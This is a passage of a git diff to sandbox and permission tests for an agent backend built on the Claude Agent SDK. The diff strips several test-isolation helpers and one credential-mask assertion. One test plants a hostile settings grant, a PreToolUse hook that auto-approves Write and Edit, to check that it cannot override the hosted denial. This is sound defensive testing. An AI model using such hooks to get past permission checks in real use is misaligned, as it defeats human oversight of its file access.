["user:inference", "user:profile"], subscriptionType: "max", rateLimitTier: "default_claude_max_5x", clientId: "odysseus-client" }); function fixture(auth: Record = fresh()) { - const root = nativeFixtureDirectory("odysseus-host-oauth-"); roots.push(root); - const directory = nativeFixtureDirectory("odysseus-host-auth-domain-"); roots.push(directory); domains.set(root, { directory }); + const root = mkdtempSync(join(tmpdir(), "odysseus-host-oauth-")); roots.push(root); + const directory = mkdtempSync(join(tmpdir(), "odysseus-host-auth-domain-")); roots.push(directory); domains.set(root, { directory }); const path = join(root, ".credentials.json"); writeFileSync(path, JSON.stringify({ unrelated: { retained: true }, claudeAiOauth: auth }), { mode: 0o600 }); return { root, path }; } function upstream(handler: (request: Request) => Response | Promise) { - const server = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: handler }); - nativeScriptedService(server.url.origin); - servers.push(server); + const server = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: handler }); servers.push(server); // Lowest shared request method rewrites only the measured fixed authority. // The actual HTTP request and response stream still use the guarded loopback network. const replacement = (async (input: Parameters[0], init?: RequestInit) => { diff --git a/packages/ui-backend-claude/tests/host-relay-native.test.ts b/packages/ui-backend-claude/tests/host-relay-native.test.ts index 4d7bb4f3c1..9f225382cf 100644 --- a/packages/ui-backend-claude/tests/host-relay-native.test.ts +++ b/packages/ui-backend-claude/tests/host-relay-native.test.ts @@ -1,5 +1,4 @@ import { watchdogMs } from "../../../scripts/test-deadlines.ts"; -import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Native protocol proof, not ordinary-worker launcher or host-filesystem isolation proof. */ import { expect, test } from "bun:test"; import { createHash } from "node:crypto"; @@ -17,9 +16,8 @@ test("installed native first-party relay preserves resumed history, per-turn mod // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/host-relay-probe.ts", import.meta.url).pathname; - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, ...policy.args], { + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(25_000), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index ac056150a3..8be0c0c105 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -1,13 +1,8 @@ -import { captureNativeSdkStderr } from "../../ui-sdk/tests/fixtures/native-sdk-stderr-capture"; import { watchdogMs } from "../../../scripts/test-deadlines.ts"; -import { nativeBootstrapStatus } from "../../../scripts/test-native-guard.ts"; -import { observeNativeWorkerStartup } from "../../ui-sdk/tests/fixtures/native-worker-startup-diagnostics.js"; -import type { LaunchedWorker } from "../../ui-sdk/src/server/worker-launcher.js"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Production SDK options and isolated worker, real CLI tools, scripted loopback inference. */ import { expect, test } from "bun:test"; -import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import { query, type HookCallback, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { createKeyedLock, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -30,7 +25,7 @@ let registeredTools: string | undefined; for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mode of ["stale", "fresh", "strict", "voice"] as const) test(`hosted real Claude ${toolName}: ${mode}`, async () => { const reread = mode === "fresh", recovered = mode === "fresh"; const refused = mode === "strict" || mode === "voice"; - const root = nativeFixtureDirectory("odysseus-native-stale-"), brain = join(root, "brain"), home = join(root, "home"); + const root = mkdtempSync(join(tmpdir(), "odysseus-native-stale-")), brain = join(root, "brain"), home = join(root, "home"); mkdirSync(brain); mkdirSync(home); const notebook = (source: string) => JSON.stringify({ cells: [{ cell_type: "code", id: "loom", metadata: {}, source: [source], outputs: [], execution_count: null }], metadata: {}, nbformat: 4, nbformat_minor: 5 }); const path = join(brain, toolName === "NotebookEdit" ? "loom.ipynb" : "loom.md"), before = toolName === "NotebookEdit" ? notebook("Penelope weaves.\n") : "Penelope weaves.\n", peer = toolName === "NotebookEdit" ? notebook("Penelope sleeps.\n") : "Penelope sleeps.\n"; @@ -49,7 +44,6 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); - nativeScriptedService(server.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-offline-only-key"} }); const lockState = { ended: false, pendingReleases: new Map void>() }; let lockHeldDuringWrite = false; const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: lockState, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); @@ -59,7 +53,6 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo prompt: "Return to Ithaca.", signal: controller.signal, posture: mode === "voice" ? "voice" : undefined, workerStartupView: startupView, - workerStarted: (worker:LaunchedWorker)=>observeNativeWorkerStartup(worker,nativeBootstrapStatus(worker.pid)??{exitCode:null,signalCode:null},["odysseus-offline-only-key"]), workerSandbox: { brain, profile: mode === "strict" ? "strict" : "governed", restricted: false, areas: [], scratchAliasesRemoved: [] }, bridge: { emit: () => {}, applyBrain: async () => ({}), requestPermission: async () => { cards++; return { behavior: "allow" }; } }, } as never, @@ -87,9 +80,8 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo return result; }) as HookCallback) })) }; const adapter = new StreamAdapter(); - const sdkStderr = captureNativeSdkStderr(["odysseus-offline-only-key", root, home, server.url.origin]); try { - for await (const message of query({ prompt: "Read the loom, then make the planned file change.", options: { ...turn.options, stderr: sdkStderr.stderr, maxTurns: 4, model: "claude-sonnet-4-6", hooks, + for await (const message of query({ prompt: "Read the loom, then make the planned file change.", options: { ...turn.options, maxTurns: 4, model: "claude-sonnet-4-6", hooks, // A hostile settings grant must not override the hosted call-time denial. settings: refused ? { permissions: { allow: ["Write", "Edit", "NotebookEdit"] }, hooks: { PreToolUse: [{ matcher: "Write|Edit|NotebookEdit", hooks: [{ type: "command", command: "printf '%s' '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"allow\"}}'" }] }] } } : undefined, } }) as AsyncIterable) { @@ -112,6 +104,5 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (recovered && toolName !== "NotebookEdit") expect(rereadContent).toBe(peer); else if (reread) expect(rereadContent).toBeUndefined(); expect(frames.find(frame => frame.type === "tool_result" && frame.toolUseId === "toolu_ithaca_write")).toMatchObject({ isError: !recovered }); - } finally { - sdkStderr.flush(); clearTimeout(timer); controller.abort(); server.stop(true); await turn.finishWorker(); startupView.cleanup(); lock.close(); rmSync(root, { recursive: true, force: true }); } + } finally { clearTimeout(timer); controller.abort(); server.stop(true); await turn.finishWorker(); startupView.cleanup(); lock.close(); rmSync(root, { recursive: true, force: true }); } }, 30_000); diff --git a/packages/ui-backend-claude/tests/native-restart-versions.test.ts b/packages/ui-backend-claude/tests/native-restart-versions.test.ts index cd53b07529..7a8938ff3e 100644 --- a/packages/ui-backend-claude/tests/native-restart-versions.test.ts +++ b/packages/ui-backend-claude/tests/native-restart-versions.test.ts @@ -1,10 +1,8 @@ -import { recordNativeRelayTurn } from "./helpers/native-relay-turn-diagnostic"; import { watchdogMs } from "../../../scripts/test-deadlines"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Actual installed native tools through the production runner; only the worker transport is replaced. */ import { expect, spyOn, test } from "bun:test"; -import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import { query, type Options } from "@anthropic-ai/claude-agent-sdk"; import { createWorkerFileObserver, workerHostBoundary } from "@schlessera/brain-ui-sdk/internal"; @@ -15,17 +13,16 @@ import { MEASURED_RUNTIME } from "../src/measured-runtime"; import { nativeModelReply } from "./helpers/native-model-reply"; for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted Claude runner restores native observations before actual ${tool}`, async () => { - const root = nativeFixtureDirectory("odysseus-claude-restart-"), brain = join(root, "brain"), home = join(root, "home"); + const root = mkdtempSync(join(tmpdir(), "odysseus-claude-restart-")), brain = join(root, "brain"), home = join(root, "home"); mkdirSync(brain); mkdirSync(home); const notebook = (source: string) => JSON.stringify({ cells: [{ cell_type: "code", id: "loom", metadata: {}, source: [source], outputs: [], execution_count: null }], metadata: {}, nbformat: 4, nbformat_minor: 5 }); const path = join(brain, tool === "NotebookEdit" ? "loom.ipynb" : "loom.md"), peer = tool === "NotebookEdit" ? notebook("Penelope sleeps.\n") : "Penelope sleeps.\n"; writeFileSync(path, tool === "NotebookEdit" ? notebook("Penelope weaves.\n") : "Penelope weaves.\n"); utimesSync(path, new Date("2026-07-12T00:00:00Z"), new Date("2026-07-12T00:00:00Z")); const stamp = statSync(path); - let mode = "read", sent = 0, runtime: string | undefined, environmentCalls = 0, turns = 0, requests = 0; + let mode = "read", sent = 0, runtime: string | undefined, environmentCalls = 0, turns = 0; const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); - requests++; const body = await request.json() as { tools?: { name: string }[] }; const name = mode === "read" || (mode === "recover" && sent === 0) ? "Read" : tool; if (sent >= (mode === "recover" ? 2 : 1) || !body.tools?.some(item => item.name === name)) return nativeModelReply(); @@ -35,7 +32,6 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C : { notebook_path: path, cell_id: "loom", new_source: "Athena charts.", edit_mode: "replace" }; return nativeModelReply({ name, input, id: name === "Read" ? "toolu_ithaca_read" : "toolu_ithaca_native" }); } }); - nativeScriptedService(server.url.origin); const env = { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: process.env.PATH ?? "/usr/bin:/bin", ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "odysseus-offline-only-key", ANTHROPIC_AUTH_TOKEN: undefined, CLAUDE_CODE_OAUTH_TOKEN: undefined, CLAUDE_CODE_USE_BEDROCK: "", CLAUDE_CODE_USE_VERTEX: "", CLAUDE_CODE_USE_FOUNDRY: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; @@ -58,7 +54,6 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C let backend = makeBackend(), sessionId: string | undefined; async function turn(next: string) { mode = next; sent = 0; turns++; - const turnStarted=performance.now(),requestStart=requests; const frames: ServerMessage[] = [], controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); try { await backend.startTurn({ sessionId, prompt: next, signal: controller.signal, @@ -70,12 +65,7 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C expect(sent, "ACTUAL_NATIVE_OPERATION_REQUESTED").toBe(next === "recover" ? 2 : 1); expect(frames.some(frame => frame.type === "result" && frame.outcome === "success")).toBe(true); return frames; - } finally { - const terminal=frames.slice().reverse().find(frame=>frame.type==="result"||frame.type==="error"); - recordNativeRelayTurn({elapsedMs:performance.now()-turnStarted,aborted:controller.signal.aborted,requestDelta:requests-requestStart,refreshDelta:0, - outcome:terminal?.type==="result"?terminal.outcome:undefined,errorClass:terminal?.type==="result"?terminal.failure?.errorClass:terminal?.type==="error"?terminal.failure?.errorClass:undefined}); - clearTimeout(timer); controller.abort(); - } + } finally { clearTimeout(timer); controller.abort(); } } try { await turn("read"); expect(sessionId).toBeDefined(); diff --git a/packages/ui-backend-claude/tests/native-route-qualification.test.ts b/packages/ui-backend-claude/tests/native-route-qualification.test.ts index d92ee7a57c..1fba9ce677 100644 --- a/packages/ui-backend-claude/tests/native-route-qualification.test.ts +++ b/packages/ui-backend-claude/tests/native-route-qualification.test.ts @@ -1,15 +1,11 @@ -import { watchdogMs } from "../../../scripts/test-deadlines.ts"; -import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; import { expect, test } from "bun:test"; import { resolve } from "node:path"; const root = resolve(import.meta.dir, "../../.."); -// The three-turn ordinary composition has a hang watchdog, not a product deadline. function probe(fixture: string, mode?: string): Record { - const policy = nativeNamespacePolicy(); - const child = Bun.spawnSync(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", - "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, - process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : []), ...policy.args], - { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: watchdogMs(fixture === "server-host-relay-probe.ts" ? 75_000 : 25_000) }); + const child = Bun.spawnSync(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", + "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", + process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : [])], + { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: 25000 }); expect(child.exitCode, child.stderr.toString()).toBe(0); return JSON.parse(child.stdout.toString().trim().split("\n").at(-1)!); } @@ -108,7 +104,6 @@ test("the host's stored login outside every host mask is masked in the worker", const proof = probe("server-host-relay-probe.ts", "outside-masks"); expect(proof.requests, "OUTSIDE_MASKS_HOST_LOGIN_STILL_RELAYED").toEqual([{ credential: 0, model: "claude-haiku-4-5", history: 1 }]); expect(proof.controlVisible, "OUTSIDE_MASKS_WORKER_VIEW_OBSERVED").toBe(true); - expect(proof.productionLoginMaskPresent,"OUTSIDE_MASKS_PRODUCTION_LOGIN_MASK_PRESENT").toBe(true); expect(proof.hostLoginVisible, "OUTSIDE_MASKS_HOST_LOGIN_MASKED").toBe(false); }); diff --git a/packages/ui-backend-claude/tests/native-stale-write.test.ts b/packages/ui-backend-claude/tests/native-stale-write.test.ts index 411f981ad3..2a0012056f 100644 --- a/packages/ui-backend-claude/tests/native-stale-write.test.ts +++ b/packages/ui-backend-claude/tests/native-stale-write.test.ts @@ -1,9 +1,8 @@ import { watchdogMs } from "../../../scripts/test-deadlines"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Real installed CLI file tools, a scripted loopback model, and fictional credentials only. */ import { expect, test } from "bun:test"; -import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import { query, type HookCallback, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { createKeyedLock, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -16,7 +15,7 @@ import { nativeModelReply as reply } from "./helpers/native-model-reply"; for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mode of (toolName === "NotebookEdit" ? ["stale"] : ["stale", "cached", "fresh"]) as readonly ("stale" | "cached" | "fresh")[]) test(`real Claude ${toolName} ${mode === "fresh" ? "recovers after a fresh read" : mode === "cached" ? "does not refresh a hash from a cached unchanged read" : "refuses a byte-stale file even when its mtime was preserved"}`, async () => { const reread = mode !== "stale", recovered = mode === "fresh"; - const root = nativeFixtureDirectory("odysseus-native-stale-"), brain = join(root, "brain"), home = join(root, "home"); + const root = mkdtempSync(join(tmpdir(), "odysseus-native-stale-")), brain = join(root, "brain"), home = join(root, "home"); mkdirSync(brain); mkdirSync(home); const notebook = (source: string) => JSON.stringify({ cells: [{ cell_type: "code", id: "loom", metadata: {}, source: [source], outputs: [], execution_count: null }], metadata: {}, nbformat: 4, nbformat_minor: 5 }); const path = join(brain, toolName === "NotebookEdit" ? "loom.ipynb" : "loom.md"), before = toolName === "NotebookEdit" ? notebook("Penelope weaves.\n") : "Penelope weaves.\n", peer = toolName === "NotebookEdit" ? notebook("Penelope sleeps.\n") : "Penelope sleeps.\n"; @@ -34,7 +33,6 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); - nativeScriptedService(server.url.origin); const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: { ended: false, pendingReleases: new Map() }, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); const wiring = createPermissionWiring({ req: { prompt: "Return to Ithaca.", signal: controller.signal, workerSandbox: { brain, profile: "governed", restricted: false, areas: [], scratchAliasesRemoved: [] }, bridge: { emit: () => {}, requestPermission: async () => ({ behavior: "allow" }) } }, diff --git a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts index 6eeea6caa3..f32046704d 100644 --- a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts @@ -1,5 +1,3 @@ -import { watchdogMs } from "../../../scripts/test-deadlines.ts"; -import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Production ordinary spawn/state/native composition; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; import { createHash } from "node:crypto"; @@ -17,10 +15,9 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/ordinary-host-relay-probe.ts", import.meta.url).pathname; - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(75_000), + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, profile], { + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: 25_000, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -58,4 +55,4 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h expect(result.refreshCancelled, "NATIVE_ABORT_CLOSES_ACTUAL_HOST_REFRESH").toBe(true); expect(result.cancellationRetainedHostBytes).toBe(true); expect(result.cancellationReleasedLock).toBe(true); -}, 90_000); +}); diff --git a/packages/ui-backend-claude/tests/provider-history.test.ts b/packages/ui-backend-claude/tests/provider-history.test.ts index 924db7baff..ad93d4fb12 100644 --- a/packages/ui-backend-claude/tests/provider-history.test.ts +++ b/packages/ui-backend-claude/tests/provider-history.test.ts @@ -3,7 +3,7 @@ import { join } from "node:path"; import { providerTools, body, captureOffline, history, identical, identicalSystemPromptOptions, main, messages, noInternalNotes, pairs, system, type Captures } from "../../../tests/helpers/provider-history.js"; let captures: Captures; -beforeAll(async () => { captures = await captureOffline(join(import.meta.dir, "fixtures/provider-history-probe.ts"), {hangMs:300_000}); }, 330_000); +beforeAll(async () => { captures = await captureOffline(join(import.meta.dir, "fixtures/provider-history-probe.ts")); }, 180_000); test("Claude captures three real resumed interactive turns and a tool result", () => { for (const [name, capture] of Object.entries(captures)) { diff --git a/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts b/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts index 6e4dc25533..43f4dbd7d0 100644 --- a/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts +++ b/packages/ui-backend-claude/tests/relayed-runtime-traffic.test.ts @@ -1,4 +1,3 @@ -import { deadlineFactor } from "../../../scripts/test-deadlines.ts"; /** The selected native runtime opens no connection of its own on a relayed turn (#3244), with only loopback available. */ import { expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; @@ -16,7 +15,7 @@ async function probe(scenario: "plain" | "webfetch") { const child = Bun.spawn(["bwrap", "--unshare-net", "--die-with-parent", "--bind", "/", "/", "--tmpfs", "/run", "--bind", join(scratch, "egress"), WORKER_EGRESS_DIR, "--proc", "/proc", "--dev", "/dev", process.execPath, "--preload", join(root, "scripts/test-network-child-preload.ts"), join(import.meta.dir, "fixtures/relayed-runtime-traffic-probe.ts"), scratch, scenario], - { cwd: root, env: { BRAIN_TEST_DEADLINE_FACTOR: String(deadlineFactor()), PATH: process.env.PATH!, LANG: "C.UTF-8", TMPDIR: tmpdir() }, stdout: "pipe", stderr: "pipe" }); + { cwd: root, env: { PATH: process.env.PATH!, LANG: "C.UTF-8", TMPDIR: tmpdir() }, stdout: "pipe", stderr: "pipe" }); const [out, err, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, err || out).toBe(0); return JSON.parse(readFileSync(join(scratch, "result.json"), "utf8")) as { diff --git a/packages/ui-backend-claude/tests/runtime-probe.test.ts b/packages/ui-backend-claude/tests/runtime-probe.test.ts index 4b97b34a49..013dacaf43 100644 --- a/packages/ui-backend-claude/tests/runtime-probe.test.ts +++ b/packages/ui-backend-claude/tests/runtime-probe.test.ts @@ -7,7 +7,6 @@ * binary which is missing or will not answer refuses. */ -import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { afterEach, describe, expect, test } from "bun:test"; import { chmodSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -96,13 +95,11 @@ describe("probeClaudeRuntime", () => { test("with CLAUDE_CODE_PATH unset it probes what the SDK selects, not a `claude` on PATH", async () => { const dir = tempDir("probe-unset-"); const decoy = fakeBinary(dir, "claude", "0.0.1 (Claude Code)"); - const release = nativeScriptedService("http://127.0.0.1:9", {fixtureRoots:[dir]}); - let report: Awaited>; - try { report = await probeClaudeRuntime({ + const report = await probeClaudeRuntime({ brainPath: dir, env: { ...env(), PATH: `${dir}:${env().PATH}` }, exec: {}, - }); } finally { release(); } + }); expect(invocations(decoy.log)).toEqual([]); expect(report.runtime.command).toContain("@anthropic-ai/claude-agent-sdk-"); diff --git a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts index e1e27e7987..8e736afc4e 100644 --- a/packages/ui-backend-claude/tests/sdk-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/sdk-host-relay.test.ts @@ -1,5 +1,4 @@ import { watchdogMs } from "../../../scripts/test-deadlines.ts"; -import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; import { SDK_RELAY_PROFILE_TIMEOUT_MS, SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, SDK_RELAY_CANCELLATION_TIMEOUT_MS } from "./fixtures/sdk-host-relay-limits.js"; /** Full SDK construction, native startup and prepared ordinary transport; fixture storage is not Btrfs qualification. */ import { expect, test } from "bun:test"; @@ -18,9 +17,8 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ // No test fetch instrumentation covers the native executable. Its entire // process tree therefore runs with no external route and no ambient env. const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, profile], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_PROFILE_TIMEOUT_MS), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); @@ -78,10 +76,9 @@ test.each(["strict", "governed"] as const)("prepared %s SDK turn preserves nativ test("prepared SDK native auto-allowed Bash still honors the existing per-use refusal", async () => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", "permission", ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_SINGLE_TURN_TIMEOUT_MS), + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", "permission"], { + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -98,10 +95,9 @@ test("prepared SDK native auto-allowed Bash still honors the existing per-use re test.each(["managed", "project"] as const)("prepared SDK %s credential or transport override withholds the native prompt", async source => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", source, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_SINGLE_TURN_TIMEOUT_MS), + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", source], { + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); @@ -116,10 +112,9 @@ test.each(["managed", "project"] as const)("prepared SDK %s credential or transp test("prepared SDK initializes with no projected host credential store before any prompt", async () => { const fixture = new URL("./fixtures/sdk-host-relay-probe.ts", import.meta.url).pathname; - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", 